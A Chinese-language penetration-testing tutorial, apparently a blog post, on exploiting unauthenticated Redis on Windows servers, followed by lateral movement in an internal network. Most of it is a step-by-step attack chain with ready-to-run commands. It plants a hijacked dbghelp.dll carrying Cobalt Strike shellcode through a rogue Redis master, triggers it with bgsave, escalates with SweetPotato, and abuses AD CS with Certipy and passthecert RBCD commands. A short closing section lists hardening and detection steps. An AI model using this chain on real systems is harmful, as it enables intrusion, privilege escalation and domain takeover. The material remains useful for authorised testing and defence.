Windows环境下Redis未授权访问漏洞的深度利用:从DLL劫持到内网渗透实战
Redis作为一款高性能的内存数据库,在Windows服务器环境中同样广泛应用。当管理员配置不当导致未授权访问漏洞时,攻击者往往能借此获取系统权限。本文将深入探讨一种不同于传统利用方式的攻击路径——通过DLL劫持实现权限提升,并结合内网渗透中的多个实战技巧。
1. Redis未授权访问漏洞的Windows特性
与Linux环境不同,Windows下的Redis未授权访问漏洞利用面临独特挑战。常见Linux环境下的攻击手法如写入计划任务、SSH公钥等在Windows服务器上完全失效。我们需要寻找专属于Windows系统的突破口。
Windows环境下Redis漏洞利用的限制条件:
- 无法通过crontab写入计划任务
- 缺少SSH服务导致公钥注入无效
- Web目录权限严格,webshell写入困难
- 现代Windows版本(如Server 2019)不再支持MOF文件提权
- 生产环境通常不允许重启服务器,使启动项写入失效
在这种情况下,DLL劫持成为Windows环境下最具可行性的攻击向量之一。它不需要服务器重启,对系统版本要求较低,且能绕过多数防护措施。
2. 从信息收集到DLL劫持的完整链条
2.1 关键信息收集技术
利用Redis的info命令可以获取大量有价值的信息:
redis-cli -h [目标IP] info重点关注以下信息点:
redis_version:确定Redis版本,3.x版本无法使用主从同步config_file:获取Redis安装路径(如C:\Program Files\Redis\redis.windows-service.conf)process_id:了解Redis服务运行账户
信息收集的实战技巧:
- 使用
fscan等工具快速识别内网存活主机和开放端口 - 结合
netstat -ano确认服务绑定IP和端口情况 - 通过
whoami /priv检查当前权限和可用特权
2.2 DLL劫持的核心原理
Windows系统在加载DLL时会按特定顺序搜索路径。当合法DLL位于系统目录而程序安装目录缺少该DLL时,攻击者可以在程序目录放置恶意DLL实现劫持。
Redis服务在Windows环境下依赖多个系统DLL,其中dbghelp.dll是常见的劫持目标。该DLL用于调试帮助功能,不是Redis运行的核心依赖,劫持后不会导致服务崩溃。
2.3 恶意DLL的生成与配置
步骤一:提取原始DLL从目标系统的C:\Windows\System32\目录获取dbghelp.dll(注意版本匹配,Windows Server 2019 build 17763版本最佳)
步骤二:使用DLLHijacker生成项目
python3 DllHijacker.py dbghelp.dll关键编译配置(Visual Studio 2019):
- 项目属性 → C/C++ → 代码生成 → 运行库 → 多线程 (/MT)
- 项目属性 → C/C++ → 代码生成 → 禁用安全检查GS
- 项目属性 → 链接器 → 清单文件 → 生成清单 → 否
Shellcode植入方法:
- 使用Cobalt Strike生成C格式的payload
- 替换生成的
dllmain.cpp中的shellcode部分 - 选择Release x64配置编译生成最终DLL
3. 利用Redis未授权写入恶意DLL
3.1 RedisWriteFile工具的使用
RedisWriteFile工具通过模拟Redis主从同步机制实现文件写入:
python3 RedisWriteFile.py --rhost 目标IP --rport 6379 \ --lhost 攻击机IP --lport 16379 \ --rpath 'C:\\Program Files\\Redis\\' \ --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'参数说明:
--rpath:Redis安装目录(必须与info获取的路径一致)--lport:攻击机监听的伪造主服务器端口--rfile/--lfile:要写入的目标文件名和本地文件路径
3.2 DLL加载触发机制
写入成功后,通过Redis命令触发DLL加载:
redis-cli -h 目标IP bgsavebgsave命令会启动后台保存过程,Redis服务尝试加载各种辅助DLL,此时恶意dbghelp.dll将被加载执行。
成功标志:
- Cobalt Strike收到会话连接
- 获得的权限通常是Redis服务运行账户(常为本地管理员)
4. 内网横向移动的高级技巧
4.1 权限提升与信息收集
SweetPotato提权: 当Redis服务以SeImpersonatePrivilege权限运行时,可直接使用SweetPotato提权至SYSTEM:
SweetPotato.exe -a "beacon.exe"域信息收集关键命令:
# 收集域内基本信息 net group "Domain Admins" /domain nltest /domain_trusts # 使用SharpHound收集BloodHound数据 SharpHound.exe -c all --outputdirectory C:\Users\Public4.2 内网代理与扫描技术
Stowaway多级代理搭建:
# 服务端 stowaway_admin -l 1122 # 客户端 stowaway_agent -c 服务端IP:1122高效内网扫描策略:
fscan -h 172.22.12.0/24 -o result.txt重点关注:
- 开放445端口的机器(SMB协议)
- 域控制器(通常开放88、389端口)
- 特殊服务如Redis、MySQL等中间件
4.3 证书服务攻击实战
当内网存在CA服务器时,可尝试利用AD CS漏洞(如CVE-2022-26923)进行域提权。
Certipy工具链使用:
# 创建机器账户 certipy account create -u 机器账户\$ -hashes LMHASH:NTHASH -dc-ip 域控IP -user 新账户名 -dns 域控主机名 # 申请证书 certipy req -u '新账户名\$@域名' -p 密码 -ca CA名称 -target CA服务器IP -template Machine # 证书认证 certipy auth -pfx 证书.pfx -dc-ip 域控IPPass the Certificate技巧: 当证书缺少智能卡登录EKU时,可提取证书和密钥进行RBCD攻击:
# 提取证书和密钥 certipy cert -pfx file.pfx -nokey -out cert.crt certipy cert -pfx file.pfx -nocert -out key.key # 配置RBCD python passthecert.py -action write_rbcd -crt cert.crt -key key.key -domain 域名 -dc-ip 域控IP -delegate-to 目标机器\$ -delegate-from 攻击机器\$5. 防御建议与检测方案
5.1 Redis服务加固措施
基础防护配置:
- 启用Redis认证(requirepass参数)
- 修改默认端口(6379)
- 绑定特定IP(bind参数)
- 禁用高危命令(rename-command配置)
文件系统权限控制:
- Redis安装目录限制写入权限
- 系统目录禁止非管理员修改
- 启用Windows文件完整性监控
5.2 DLL劫持攻击检测
关键检测指标:
- Redis日志中的异常模块加载
- 系统事件日志中的DLL加载错误
- 非系统目录下的DLL文件出现
- 异常的进程创建行为
实用检测命令:
# 检查Redis目录下的DLL文件 Get-ChildItem "C:\Program Files\Redis\" -Filter *.dll # 监控DLL加载事件 Get-WinEvent -FilterHashtable @{ LogName='Security' ID='4688' } | Where-Object {$_.Message -match 'dbghelp\.dll'}5.3 内网安全防护策略
- 实施网络分段,隔离数据库服务器
- 定期审计域内机器账户
- 监控证书服务异常请求
- 限制域管理员登录范围
在实际渗透测试中,Windows环境下的Redis未授权访问漏洞往往只是攻击链的起点。从DLL劫持到内网域渗透,攻击者可以通过多种技术组合逐步扩大战果。防御方需要建立纵深防御体系,既要修补基础服务漏洞,也要防范高级横向移动技术。